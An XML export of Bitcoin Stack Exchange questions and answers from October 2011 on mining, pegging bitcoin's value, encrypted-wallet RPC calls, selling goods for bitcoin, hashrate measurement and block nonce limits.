  <row Id="1749" PostTypeId="2" ParentId="1746" CreationDate="2011-10-26T09:57:32.077" Score="1" Body="&lt;p&gt;You better off using your CPU to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you should download an optimized litecoin miner, and point it to a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48086.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-26T09:57:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1750" PostTypeId="2" ParentId="1741" CreationDate="2011-10-26T13:16:52.487" Score="2" Body="&lt;p&gt;You can create a new wallet that has just the one keypair you need, move the coins, and then restore your old wallet file.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-26T13:16:52.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1752" PostTypeId="1" AcceptedAnswerId="1754" CreationDate="2011-10-26T15:45:05.020" Score="10" ViewCount="1148" Body="&lt;p&gt;Many people will not touch bitcoin due to it's historically extreme volatility. Many new currencies have pegged their value against an established currency until such time as it is sufficiently established to be decoupled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the Irish punt was linked to the Sterling pound until they joined the European Monetary Union in 1979.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible perhaps by way of a financial service organisation that guarantees a value against a stable currency such as the swiss franc for example, this using bitcoin as a form of promisory note? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the agreement of a fixed rate against an established currency like type of future or option in the stock market?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this could help speed adoption. &lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2014-11-01T13:04:11.857" LastActivityDate="2021-12-10T00:38:36.763" Title="What are the obstacles to pegging the value of bitcoin to an established stable currency?" Tags="|economic-theory|bitcoin-economy|value|price-volatility|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T16:15:42.743" Score="3" Body="&lt;p&gt;Unlike any other fiat currency, bitcoin money supply could not be manipulated, therefore it's not possible to fix its value in any way but good old buy and sell orders which would require a very heavy investments.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="78" LastEditDate="2011-10-26T16:30:20.377" LastActivityDate="2011-10-26T16:30:20.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1754" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T16:51:43.367" Score="8" Body="&lt;p&gt;You could fix the minimal value of Bitcoin if you had some money and you wouldstate: &quot;I have X$, I will buy each and every Bitcoin you offer me at the rate of X/2100000$&quot;. The only problem is that people need to trust you and you have to have enough money. So, if you get en established company (for example, Google) to secure the funds you can fix the minimum price of Bitcoins at any arbitrary rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixing the maximum price, however, is impossible, as you can't generate Bitcoins at a whim to sell to anyone offering you money. As with anything with limited supply, the sky is the limit.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-26T16:51:43.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1756" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T18:42:42.980" Score="1" Body="&lt;p&gt;The main &quot;obstacle&quot; for this idea is that few people would like it. The central advantage of Bitcoin is that it has no central point of failure - or at least not single organization that is liable for it.  With a peg, there is necessarily an organization that is liable to maintain the peg - they have to keep their promise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if Bitcoin were pegged in such a way, it would be no better than prior digital currencies like Beenz or egold. &lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-10-26T18:42:42.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1757" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T21:38:51.790" Score="1" Body="&lt;p&gt;The easiest way to immediately see why this would be extremely difficult, if not impossible, is to imagine this: Suppose you decided that the price of an ounce of gold today in dollars (or relative to a bundle of goods, or whatever) was the perfect price for gold. What could you do to keep it stable?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-26T21:38:51.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1758" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T21:41:24.080" Score="9" Body="&lt;p&gt;The only way to fix an exchange rate is to constantly trade at this rate. This requires unlimited funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assume you want to peg BTC against CHF as in your example. For simplicity, we aim at 1 BTC == 1 CHF. Here's a simple recipe.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have unlimited Bitcoin and unlimited CHF.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find a Bitcoin exchange. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Offer to buy an unlimited amount of Bitcoin for 1 CHF/BTC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Offer to sell an unlimited amount of Bitcoin for 1 CHF/BTC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Observe how everyone will accept 1 BTC/CHF as the official rate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you run out of Bitcoin or CHFs, give up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="350" LastActivityDate="2011-10-26T21:41:24.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T22:22:14.967" Score="2" Body="&lt;p&gt;The larger issues isn't can it be done it is why would anyone do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Central banks buy and sell opposing currencies to keep the value pegged.  Generally speaking they lose a ton of money doing this however it provides a public good and being a central bank they can simply create or destroy sufficient money to accomplish the goal.  Any losses the central bank accrues or gains are simply felt by overall economy via inflationary and deflationary pressures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no central bank thus any entity which tried to do this would be facing significant and continual real losses for no benefit.  Sure the entire Bitcoin economy benefits but that isn't something that can be monetized by the entity taking the risk/losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only situations that even seems possible is some benefactor who willingly suffers massive and continual market losses to provide a narrow trading range for Bitcoin and that isn't very likely.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-26T22:22:14.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1760" PostTypeId="2" ParentId="1752" CreationDate="2011-10-26T23:08:38.730" Score="3" Body="&lt;p&gt;I think that trying to tie the value to some arbitrary standard is artificial - for one thing, the value may depart substantially from that other standard and needs to be allowed to vary in order to stablize at an authentic (ie reflecting supply/demand etc) rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, reducing extreme volatility would indeed make BTC more appealing as a medium of exchange or investment.  The extreme volatility seen in June was due to illiquidity of the bitcoin market in the face of a sudden increase in demand.   It's just like a 'penny stock', where few shares are traded and there is no market-maker or institutional investor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture a cup of ice cubes, vs the same volume of water.  If you add or remove the same amount of water, the level in the ice-cube cup will jump in increments, vs the level of liquid water varying smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Liquidity of the BTC market would improve if many traders were always present to make small transactions on mtgox, and if several institutions or big investors would step in to 'make a market' in bitcoins.  Making a market would require holding a BTC reserve large enough to satisfy most requests to buy OR sell BTC in a current day.  Examining bitcoincharts.com, we see this would mean holding about 250K BTC each.   The market maker(s) simply post active Bids and Asks slightly wider than the spread, so they are always making some profit just buying and selling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also help if the bitcoin exchanges consolidated to one, or what will happen is someone will build arbitrage bots which exploit 'flipped markets' - eg situations where a bid on one exchange is higher than ask on another exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, it would help if a venture fund existed to invest in businesses which accept BTC payments or build BTC technology... people would then invest in that fund and act to protect their interests in BTC succeeding.  I am working towards creating such a fund but can't talk about it yet.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2011-10-26T23:08:38.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1761" PostTypeId="2" ParentId="121" CreationDate="2011-10-26T23:15:45.977" Score="2" Body="&lt;p&gt;In order for arbitrage to succeed, you need to be able to execute nearly simultaneous buy and sell transactions across exchanges, not do it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  Because the slower arbs will always get beat by the faster arbs, and slower arbs are left holding stuff they now need to buy or dump.   This was the case when there were multiple automated exchanges for NASDAQ stocks - they eventually consolidated, but for a while there was quite a competition to build the fastest arb bot, and a difference of a few ms could make all the difference in successfully executing arb flips.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2011-10-26T23:15:45.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostTypeId="1" AcceptedAnswerId="1763" CreationDate="2011-10-27T09:02:28.640" Score="11" ViewCount="3069" Body="&lt;p&gt;I'm using JSON-RPC to send commands to my bitcoind, and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to encrypt my wallet. When I've done that, I will need to send the passphrase when calling SendToAddress. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I send these parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;address &lt;/li&gt;&#xA;&lt;li&gt;amount&lt;/li&gt;&#xA;&lt;li&gt;comment&lt;/li&gt;&#xA;&lt;li&gt;commentTo&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which are put into an array in the order above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the passphrase be another parameter that I append as the last element in that array?&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2017-03-31T22:16:19.503" Title="How to Call JSON-RPC SendToAddress when the Wallet is Encrypted?" Tags="|wallet|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1763" PostTypeId="2" ParentId="1762" CreationDate="2011-10-27T10:52:52.573" Score="11" Body="&lt;p&gt;Not in the current code. The way it works now, you have to make two RPC calls -- one to unlock the wallet for a period of time (&lt;code&gt;walletpassphrase&lt;/code&gt;) and one to do the transaction (&lt;code&gt;sendtoaddress&lt;/code&gt;). You can follow up with a command to lock the wallet immediately, if desired (&lt;code&gt;walletlock&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  walletpassphrase &amp;lt;passphrase&amp;gt; &amp;lt;timeout&amp;gt;&#xA;  Stores the wallet decryption key in memory for &amp;lt;timeout&amp;gt; seconds.&#xA;&#xA;  walletlock&#xA;  Removes the wallet encryption key from memory, locking the wallet.&#xA;  After calling this method, you will need to call walletpassphrase again&#xA;  before being able to call any methods which require the wallet to be unlocked.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-27T10:52:52.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostTypeId="1" CreationDate="2011-10-27T14:18:21.563" Score="20" ViewCount="19413" Body="&lt;p&gt;I have old items that I want to sell for bitcoins. This includes digital content and physical objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What websites can I use to sell them?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-19T18:59:21.537" Title="Where can I sell things for bitcoins?" Tags="|bitcoin-economy|ecommerce|" AnswerCount="8" CommentCount="2" ClosedDate="2021-04-19T19:50:02.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="1765" PostTypeId="2" ParentId="1764" CreationDate="2011-10-27T15:54:37.593" Score="11" Body="&lt;p&gt;You can find an extensive list on page &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade#Auction_sites&quot; rel=&quot;nofollow&quot;&gt;Trade at Bitcoin Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short list of some auction sites that use Bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bidbitcoins.com/#6411e8d2e639&quot; rel=&quot;nofollow&quot;&gt;Bid Bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.biddingpond.com/&quot; rel=&quot;nofollow&quot;&gt;Bidding Pond&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitmit.net/&quot; rel=&quot;nofollow&quot;&gt;Bitmit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to sell digital files per download, go here: &lt;a href=&quot;http://bitcoinservice.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinservice.co.uk/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as with anything, you can just post on an online classified ad websites, such as &lt;a href=&quot;http://www.craigslist.com&quot; rel=&quot;nofollow&quot;&gt;craigslist&lt;/a&gt; (thanks Thilo for the suggestion).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="61" LastEditDate="2012-11-23T18:28:14.893" LastActivityDate="2012-11-23T18:28:14.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostTypeId="2" ParentId="1764" CreationDate="2011-10-27T16:22:48.773" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinservice.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinservice.co.uk/&lt;/a&gt; allows you to upload a file and receive payment from people downloading it, in case your digital content is of a kind suitable for this format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update Apr 24 2012: &lt;a href=&quot;https://www.coindl.com&quot; rel=&quot;nofollow&quot;&gt;https://www.coindl.com&lt;/a&gt; is looking to become the new bitcoinservice.co.uk.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-04-24T14:28:07.000" LastActivityDate="2012-04-24T14:28:07.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostTypeId="1" CreationDate="2011-10-27T17:16:54.573" Score="14" ViewCount="709" Body="&lt;p&gt;Any Bitcoin wallet holds several bitcoin addresses. Such addresses are either generated manually from the GUI addressbook or automatically collecting the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;&quot;change&quot;&lt;/a&gt; of a &quot;Send&quot; transaction. The total balance is the sum of the credit of all addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the Bitcoin software not tell me ADDRESS1 holds 1 BTC while ADDRESS2 has 5BTC? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard Bitcoin client automatically selects an address to send from. (From the comments, I learned that there &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/437/how-can-i-find-out-the-address-my-payment-will-come-from/453#453&quot;&gt;exits a patch&lt;/a&gt;, which allows a user to choose an address to sent from.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the behaviour of the standard client described here have any advantages over letting the user choose? &lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2018-02-04T06:59:32.637" Title="Why does the standard Bitcoin client not display the balance per address?" Tags="|client|address|bitcoin-core|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1768" PostTypeId="2" ParentId="1767" CreationDate="2011-10-27T18:37:57.697" Score="0" Body="&lt;p&gt;I think usually people don't do separate &quot;banking&quot; with different addresses, rather than they prefer seeing the total. This is especially true when you regularly switch addresses for receiving money. As there is little need for such a feature, it wasn't implemented.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-27T18:37:57.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostTypeId="1" AcceptedAnswerId="1771" CreationDate="2011-10-27T18:41:16.727" Score="5" ViewCount="4194" Body="&lt;p&gt;What is the rough estimate of internet speed needed to run the standard client? Does a faster Internet connection increase the client performance (by that I mean how fast it updates its blockchain, sends transactions, and how well can it function as a node in the network)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2015-05-28T18:27:00.190" LastActivityDate="2015-05-28T18:27:00.190" Title="Internet speed required to run the Bitcoin client" Tags="|bitcoin-core|nodes|bandwidth|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostTypeId="1" AcceptedAnswerId="1774" CreationDate="2011-10-27T18:57:38.627" Score="10" ViewCount="5326" Body="&lt;p&gt;Is there a way to measure what is the total hashing power of the Bitcoin network at a given time? For pooled mining it isn't a problem - one can rely on statistics provided by the pool (assuming one can trust them), but what about people solo-mining?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-07T10:33:33.987" LastActivityDate="2016-03-07T10:33:33.987" Title="How can I measure the total hashing power of the Bitcoin network?" Tags="|network|hash|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostTypeId="2" ParentId="1769" CreationDate="2011-10-27T19:03:19.603" Score="5" Body="&lt;p&gt;Internet connection speed has to be fast enough to download new blocks as they get mined. With current transaction rate it requires 1-2 Kb/s. But faster connection would help to reduce chance of double spend attack if you run retail business and accept transactions with 0 confirmations.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-27T19:03:19.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1772" PostTypeId="1" AcceptedAnswerId="1773" CreationDate="2011-10-27T19:09:30.137" Score="4" ViewCount="2972" Body="&lt;p&gt;Has anyone measured what are the hardware and bandwidth requirements to run a mining pool? Are there any statistics on that per amount of active miners, their hashspeed and other variables?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2017-04-25T19:53:27.080" LastActivityDate="2019-04-29T23:16:23.170" Title="Mining pool hardware and bandwidth requirements" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostTypeId="2" ParentId="1772" CreationDate="2011-10-27T19:24:51.773" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;a good dedicated server will be enough to run a pool like eligius&lt;/li&gt;&#xA;&lt;li&gt;you will need to ln -s /dev/null debug.log ( or logrotate the file ) if you dont want to run out of space&lt;/li&gt;&#xA;&lt;li&gt;you could use a good anti-ddos protection if your pool becomes popular ( most pools and bitcoin businesses are regularly ddosed .&lt;/li&gt;&#xA;&lt;li&gt;concerning server load and bandwidth usage, you could be interested in reading this ( very technical ) &lt;a href=&quot;http://xena.ww7.be/pools.txt&quot; rel=&quot;nofollow&quot;&gt;log extract&lt;/a&gt; , setting this parameter ( difficulty rewrite ) can help to reduce load ( receiving more or less miners requests / second ) and / or make your pool more or less cpuminer friendly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2011-10-27T19:58:42.247" LastActivityDate="2011-10-27T19:58:42.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1774" PostTypeId="2" ParentId="1770" CreationDate="2011-10-27T19:24:57.810" Score="11" Body="&lt;p&gt;Network hashrate calculated using formula: H ~= h / t , where t is time that took to find X number of blocks and h is approximate number of hashes it should have taken to solve X number of blocks, h = X * (D * 2**256 / (0xffff * 2**208)) &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3aTp8oq8NIAhkJ%3ahttps://en.bitcoin.it/wiki/Difficulty&amp;amp;hl=en&amp;amp;gl=us&amp;amp;strip=1&quot;&gt;Wiki:Difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin network hashrate stats available at &lt;a href=&quot;http://bitcoinwatch.com/&quot;&gt;bitcoinwatch.com&lt;/a&gt; and &lt;a href=&quot;http://bitcoincharts.com/&quot;&gt;bitcoincharts.com&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-27T19:30:58.740" LastActivityDate="2011-10-27T19:30:58.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1775" PostTypeId="2" ParentId="1770" CreationDate="2011-10-27T19:27:41.647" Score="3" Body="&lt;p&gt;You will find the total hashrate of the network on &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; ( given in Terahashs/s and in PetaFLOPs/s ) and many other ineresting bitcoin stats on the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning &quot;what about people solo-mining&quot;, not sure I understand you, but if you want to know your own &quot;solo miner&quot; hashrate you can get it with the bitcoind command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind gethashespersec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2011-10-27T19:32:58.207" LastActivityDate="2011-10-27T19:32:58.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1776" PostTypeId="2" ParentId="1767" CreationDate="2011-10-27T19:39:39.403" Score="6" Body="&lt;p&gt;Having different addresses in the client is intended for increasing anonymity and for you to be able to identify different senders. It is not intended to be used as different &quot;accounts&quot;. The concept of accounts actually &lt;em&gt;does&lt;/em&gt; exist in bitcoind but it is not currently used in the client. It wouldn't be too hard to add, so it is possible that it will be added in the future if there is demand for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally a user is not interested in the details of specifying what address to send funds from. The client does a good job of choosing what input addresses to use and will for example use older ones first in order to reduce fees.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-27T19:39:39.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1777" PostTypeId="2" ParentId="1767" CreationDate="2011-10-27T19:44:44.790" Score="7" Body="&lt;p&gt;The balance of an address is almost always useless, since money is sent from random addresses.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-27T19:44:44.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1778" PostTypeId="1" CreationDate="2011-10-27T23:22:55.173" Score="14" ViewCount="1222" Body="&lt;p&gt;From my last question:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1747/bitcoin-block-size-what-are-the-rules&quot;&gt;Bitcoin Block Size - What are the rules?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned that the block size can vary from a few kB up to a MB. This leads to my next question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the block size effect a miner's hashing speed? (i.e does a very large block decrease hashing speed?)&#xA;If so, what are the details of that relationship?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-05-08T10:02:34.737" Title="Does block size effect Miner's Hashing speed?" Tags="|block|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1779" PostTypeId="2" ParentId="1778" CreationDate="2011-10-27T23:42:26.663" Score="8" Body="&lt;p&gt;Only block header gets hashed, and it has fixed size, so the total block size doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3aFZ9pUxR3ldEJ%3ahttps://en.bitcoin.it/wiki/Block_hashing_algorithm&amp;amp;hl=en&amp;amp;strip=1&quot;&gt;Wiki:Block hashing algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The body of the block contains the transactions. These are hashed only&#xA;  indirectly through the Merkle root. Because transactions aren't hashed&#xA;  directly, hashing a block with 1 transaction takes exactly the same&#xA;  amount of effort as hashing a block with 10,000 transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-27T23:48:14.487" LastActivityDate="2011-10-27T23:48:14.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostTypeId="2" ParentId="1778" CreationDate="2011-10-28T01:29:15.907" Score="5" Body="&lt;p&gt;While the block header is always the same size, one component of the block header is the Merkle Root which changes with each included transaction.  The Merkle Root is a hash based on a Merkle Tree of all the transactions of the block.  Creating the Merkle Tree requires 2(n-1)+1 hashes.  The Merkle tree will need to be updated periodically to include new transactions as they occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save computing power in pool mining the pool server computes the Merkle Root and then provides it to all miners in the pool.  In solo mining each miner will need to compute and update the Merkle Root.  Current transaction volume is relatively low so the amount of computing power required to update the Merkle tree isn't significant.  However if Bitcoin ever reached VISA level transaction volume (~4000 transactions per second) computing the Merkle tree would require significant computing power, possibly even dedicated CPU/GPU acceleration just for Merkle tree calculation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information on scalability issues for high transaction volume:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1708/capabilities-of-bitcoins-and-their-place-in-the-future&quot;&gt;Capabilities of Bitcoins and their place in the future&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-10-28T13:23:52.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1781" PostTypeId="1" AcceptedAnswerId="1783" CreationDate="2011-10-28T02:28:17.663" Score="45" ViewCount="14875" Body="&lt;p&gt;If I understand correctly, the block only has 4 bytes (32 bits) for the nonce.&#xA;Is it possible for the difficulty to become high enough that there are no nonce solutions?&#xA;If so, then what options does a miner have?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="5406" LastEditDate="2016-05-08T21:17:23.573" LastActivityDate="2016-05-08T21:17:23.573" Title="Nonce size - Will it always be big enough?" Tags="|hash|block-header|nonce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1782" PostTypeId="2" ParentId="1781" CreationDate="2011-10-28T02:41:46.180" Score="7" Body="&lt;p&gt;Whether or not there is a solution depends on the contents of the block as well as the possible values of the nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction block can be altered if necessary which essentially means you get another 32 bits of nonce values to try. There is an additional component of a transaction block called the &quot;coinbase&quot; that can be altered without altering the actual transactions within the block. This has been in the past to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/26/516&quot;&gt;insert short messages into the block chain&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-06-19T19:04:51.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostTypeId="2" ParentId="1781" CreationDate="2011-10-28T03:08:02.920" Score="37" Body="&lt;p&gt;The difficulty is already to the point where it requires over a quadrillion hashes to solve a block. 2^32 is only 4 billion. Fewer than one in a billion times will there be &lt;em&gt;any&lt;/em&gt; nonce that makes the block valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner simply has to try every possible nonce on a different block. He can vary the coinbase, the transaction set, and/or the block timestamp. Any change to any of these things results in a new chance for there to exist a valid nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often the best choice is to bump the timestamp, a practice called &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1482/what-is-ntime-rolling-nonce-range-and-what-miners-support-it/1486#1486&quot;&gt;NTime rolling&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block timestamp doesn't have to be exact anyway, so you can back the timestamp back, say, ten seconds before you start mining and then bump it up 20 times before giving up and getting a new block. At worst, your block timestamp will be off by a dozen seconds or so -- nobody cares about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you probably want to get a new block because there might be some new transactions to include -- this not only improves the efficiency of the network as a whole but reduces the chances you'll miss out on a transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-28T03:08:02.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
